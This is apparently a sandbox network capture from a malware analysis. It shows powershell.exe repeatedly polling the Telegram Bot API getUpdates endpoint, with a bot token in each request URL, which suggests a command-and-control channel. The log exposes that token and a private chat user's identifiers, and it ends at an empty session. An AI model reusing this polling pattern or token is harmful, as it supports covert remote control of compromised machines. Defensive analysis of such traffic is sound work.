2025-01-14 09:03:48 UTC	413	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 7b 22 75 70 64 61 74 65 5f 69 64 22 3a 39 38 39 34 34 34 33 37 35 2c 0a 22 6d 65 73 73 61 67 65 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 31 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 39 36 37 39 30 36 30 36 32 2c 22 69 73 5f 62 6f 74 22 3a 66 61 6c 73 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 61 6b 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 53 6f 6e 22 2c 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 39 36 37 39 30 36 30 36 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 61 6b 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 53 6f 6e 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 Data Ascii: {"ok":true,"result":[{"update_id":989444375,"message":{"message_id":2126,"from":{"id":7967906062,"is_bot":false,"first_name":"Pak","last_name":"Son","language_code":"en"},"chat":{"id":7967906062,"first_name":"Pak","last_name":"Son","type":"private"},"dat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49725	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:03:59 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:04:02 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:04:02 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:04:02 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49794	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:04:11 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:04:11 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:04:11 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:04:11 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	64791	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:04:14 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:04:17 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:04:17 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:04:17 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	64862	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:04:25 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:04:28 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:04:28 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:04:28 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	64944	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:04:38 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:04:42 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:04:42 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:04:42 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	64975	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:04:47 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:04:50 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:04:50 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:04:50 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	64976	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:04:57 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:05:00 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:05:00 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:05:00 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	64977	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:05:03 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:05:06 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:05:06 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:05:06 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	64978	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:05:09 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:05:09 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:05:09 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:05:09 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	64979	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:05:12 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:05:12 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:05:12 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:05:12 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	64980	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:05:14 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:05:17 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:05:17 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:05:17 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	64981	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:05:21 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:05:24 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:05:24 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:05:24 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	64982	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:05:33 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:05:33 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:05:33 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:05:33 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	64983	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:05:36 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:05:36 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:05:36 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:05:36 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	64984	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:05:39 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:05:39 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:05:39 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:05:39 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	64985	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:05:42 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:05:45 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:05:45 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:05:45 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	64986	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:05:48 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:05:50 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:05:50 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:05:50 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	64987	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:06:00 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:06:03 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:06:03 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:06:03 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	64988	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:06:05 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:06:05 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:06:05 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:06:05 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	64989	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
